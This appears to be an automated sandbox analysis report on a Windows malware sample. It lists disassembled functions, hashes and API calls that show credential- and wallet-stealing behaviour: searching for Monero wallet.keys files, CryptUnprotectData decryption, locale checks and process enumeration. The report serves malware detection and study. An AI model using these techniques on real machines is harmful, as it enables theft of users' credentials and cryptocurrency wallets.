Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 237248fca4a0e5c5939981c61a1c767571ff06155bdf561f4bb292f0f826cad4
Instruction ID: 43e1b5d35c3bee0682c282225cff9d1427812af61ea8fb42b79cfb60303f7833
Opcode Fuzzy Hash: 237248fca4a0e5c5939981c61a1c767571ff06155bdf561f4bb292f0f826cad4
Instruction Fuzzy Hash: B3F1A4719141189AEB15FB60DD95EEE7378BF68300F8045DBB41A62091EF346F8ACF62

Function 00E3B7CA Relevance: 14.0, Strings: 10, Instructions: 1525COMMON

Download Yara Rule

Strings

n8~, xrefs: 00E3BF5E
R\, xrefs: 00E3BFEC
Mv?, xrefs: 00E3BC85
ZXW, xrefs: 00E3C3AA
gHL, xrefs: 00E3C938
tb}u, xrefs: 00E3C7C7
3`?, xrefs: 00E3BD4C
1:y, xrefs: 00E3BAEF
"juv, xrefs: 00E3BD8A
/1~, xrefs: 00E3BFC1

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "juv$/1~$1:y$3`?$Mv?$R\$ZXW$gHL$n8~$tb}u
API String ID: 0-1092568616
Opcode ID: 2254732dade7bc9a70ed7e3de0cc8169de2ed79ba4c9739254df34e5f4ee3056
Instruction ID: 98f06bdacf1126d92a00a298d9ff89c1916741592dc5ce5a022e05370495a76e
Opcode Fuzzy Hash: 2254732dade7bc9a70ed7e3de0cc8169de2ed79ba4c9739254df34e5f4ee3056
Instruction Fuzzy Hash: 04B2B3F360C2009FE304AE29EC8567AFBE5EF94720F16893DE6C487744E63598458B97

Function 00A7DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A914B0,00A90C2A), ref: 00A7DAEB
StrCmpCA.SHLWAPI(?,00A914B4), ref: 00A7DB33
StrCmpCA.SHLWAPI(?,00A914B8), ref: 00A7DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00A7DDCC
FindClose.KERNEL32(000000FF), ref: 00A7DDDE

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 98e9903e2a1d8efb9e47657b2025fd0818928fa5b89d5db8eac8c57bf6534a02
Instruction ID: 12d3e2f035a18457bfa4aa5c23b0532902ee144d26a3801d6703710afff3bfa9
Opcode Fuzzy Hash: 98e9903e2a1d8efb9e47657b2025fd0818928fa5b89d5db8eac8c57bf6534a02
Instruction Fuzzy Hash: 1F913A72A001049BDB14FB74DD56EED737DAF94300F40C669F94A96181EE38AB19CBA3

Function 00A87B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

GetKeyboardLayoutList.USER32(00000000,00000000,00A905AF), ref: 00A87BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00A87BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00A87C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00A87C62
LocalFree.KERNEL32(00000000), ref: 00A87D22

Strings

/ , xrefs: 00A87C7F

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 015501859a3498eddcb7f868ca5dbceb1cef9b34fbcd82a8ad2ecf421ea790bb
Instruction ID: f6ba143a775ee1c7f7e1924b982073fc3cb3467f95ab43c1da5884668758e929
Opcode Fuzzy Hash: 015501859a3498eddcb7f868ca5dbceb1cef9b34fbcd82a8ad2ecf421ea790bb
Instruction Fuzzy Hash: 1D413D71940218ABDB24EB94DD99FEEB3B8FF54700F2041D9E40962191DB746F85CFA1

Function 00E40895 Relevance: 10.4, Strings: 7, Instructions: 1692COMMON

Download Yara Rule

Strings

co', xrefs: 00E40F80
7e9, xrefs: 00E41C48
&:u, xrefs: 00E408D4
J*V?, xrefs: 00E41958
+r~}, xrefs: 00E411DE
xpW|, xrefs: 00E41557
-_, xrefs: 00E41168

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &:u$+r~}$7e9$J*V?$co'$xpW|$-_
API String ID: 0-2483857470
Opcode ID: 5ab2e06dffc6cfeb2a21f1dcae390fc8362edf1ccf80cf2dd24393d7e354625a
Instruction ID: 520935f0b2c892ba9f73e0e084fdd76af48a66e18415c43be7432cdfd45307a5
Opcode Fuzzy Hash: 5ab2e06dffc6cfeb2a21f1dcae390fc8362edf1ccf80cf2dd24393d7e354625a
Instruction Fuzzy Hash: 7FB249F3A0C210AFE3046E2DEC8567AB7E9EF94720F1A463DEAC4C7744E93558018697

Function 00E4589D Relevance: 10.4, Strings: 7, Instructions: 1640COMMON

Download Yara Rule

Strings

+/, xrefs: 00E45E42
5/?, xrefs: 00E469A6
zXz, xrefs: 00E469AE
7.\_, xrefs: 00E468DE
)!w|, xrefs: 00E45E8D
i??, xrefs: 00E46CD1
5?, xrefs: 00E46496

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )!w|$5?$7.\_$zXz$+/$5/?$i??
API String ID: 0-3326637294
Opcode ID: 02fbefef333abbfe7479c653e426a9e2defffc72081118edd36b235e6740537b
Instruction ID: a1520ad6ddc4e0a61dd9d538c21a6da0a84b3846ac4f3a7759766d4ef601404a
Opcode Fuzzy Hash: 02fbefef333abbfe7479c653e426a9e2defffc72081118edd36b235e6740537b
Instruction Fuzzy Hash: F3B204F36082049FD304AE2DEC8567AFBE9EF94720F1A493DE6C4C7744EA3598058697

Function 00A7E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00A90D73), ref: 00A7E4A2
StrCmpCA.SHLWAPI(?,00A914F8), ref: 00A7E4F2
StrCmpCA.SHLWAPI(?,00A914FC), ref: 00A7E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00A7EBDF

Strings

\*.*, xrefs: 00A7E44D

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: f47e308c9634c79f7ab05982292d23a413c31701acde9576a2ee182574110151
Instruction ID: 985596d4875ec6f0e7e19d674b2229e8c27f81295a439229255d82d7b5882727
Opcode Fuzzy Hash: f47e308c9634c79f7ab05982292d23a413c31701acde9576a2ee182574110151
Instruction Fuzzy Hash: 8A120871A101149BEB14FB70DE96EED7378AF64300F4045DAB50AA6091EF386F49CFA2

Function 00E43ED7 Relevance: 9.1, Strings: 6, Instructions: 1562COMMON

Download Yara Rule

Strings

43x, xrefs: 00E4428A
n6d9, xrefs: 00E449C8
Yrf;, xrefs: 00E43FAF
&_?, xrefs: 00E44507
J#3l, xrefs: 00E448F0
WU], xrefs: 00E44C08

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &_?$43x$J#3l$WU]$Yrf;$n6d9
API String ID: 0-2176626836
Opcode ID: 1a74a3f00fd2473d58d661e847db8f3b5f003666a3e1440885d360bcf8198596
Instruction ID: f935caa9ca3a85e566179f3b39bbfdaf2e6f03312d86487354e524ee7754c546
Opcode Fuzzy Hash: 1a74a3f00fd2473d58d661e847db8f3b5f003666a3e1440885d360bcf8198596
Instruction Fuzzy Hash: 89A2F7F3A0C214AFE304AE2DEC8567ABBE9EF94720F1A453DE6C4C7744E63558018697

Function 00E49009 Relevance: 7.8, Strings: 5, Instructions: 1598COMMON

Download Yara Rule

Strings

WHmu, xrefs: 00E49224
uMmm, xrefs: 00E494A3
'K;, xrefs: 00E4A3CA
:b[O, xrefs: 00E493B8
o?_, xrefs: 00E4A090

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: o?_$'K;$:b[O$WHmu$uMmm
API String ID: 0-3036676330
Opcode ID: 4a5f904b740d255d3b0abd1842105bf1a1da71c02a7cfdaaaf2c55b7e63a3239
Instruction ID: adcfcc5adbb576c5983e4f343e00739a4ff27e32c715b65f8e866f13311bc14a
Opcode Fuzzy Hash: 4a5f904b740d255d3b0abd1842105bf1a1da71c02a7cfdaaaf2c55b7e63a3239
Instruction Fuzzy Hash: 20B214F360C204AFE3046E2DEC8567ABBE9EF94720F1A493DE6C4C3744E63599058697

Function 00A7C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00A7C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00A7C87C
lstrcat.KERNEL32(?,00A90B46), ref: 00A7C943
lstrcat.KERNEL32(?,00A90B47), ref: 00A7C957
lstrcat.KERNEL32(?,00A90B4E), ref: 00A7C978

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: f3509c5bd254974bf69704946079b01a4a48ba9f35d93c21097a832a526f0600
Instruction ID: af49d1a038a4fb2e596c4fadd26fda9020b3664ee28d226ca7088bdb4e79d22b
Opcode Fuzzy Hash: f3509c5bd254974bf69704946079b01a4a48ba9f35d93c21097a832a526f0600
Instruction Fuzzy Hash: A94143B590421AEFDB10DF94DD89BEEB7B8BB44744F1046A8F609A6280D7705A84CF91

Function 00A77240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00A7724D
RtlAllocateHeap.NTDLL(00000000), ref: 00A77254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00A77281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00A772A4
LocalFree.KERNEL32(?), ref: 00A772AE

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 1ae4ef0ce62a2409f50d7ee2ae4aa9027867f327671d86104af7bc5cf0dd802c
Instruction ID: ef3b896feec6b49d6f6785e03a0f74bc156bbbc01651e73c04d59c88de43f45f
Opcode Fuzzy Hash: 1ae4ef0ce62a2409f50d7ee2ae4aa9027867f327671d86104af7bc5cf0dd802c
Instruction Fuzzy Hash: 4B012575B40208BBEB10DFD4CD45F9D77B8EB44704F108154FB09BB2C0D671AA008BA5

Function 00A89600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A8961E
Process32First.KERNEL32(00A90ACA,00000128), ref: 00A89632
Process32Next.KERNEL32(00A90ACA,00000128), ref: 00A89647
StrCmpCA.SHLWAPI(?,00000000), ref: 00A8965C
CloseHandle.KERNEL32(00A90ACA), ref: 00A8967A

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
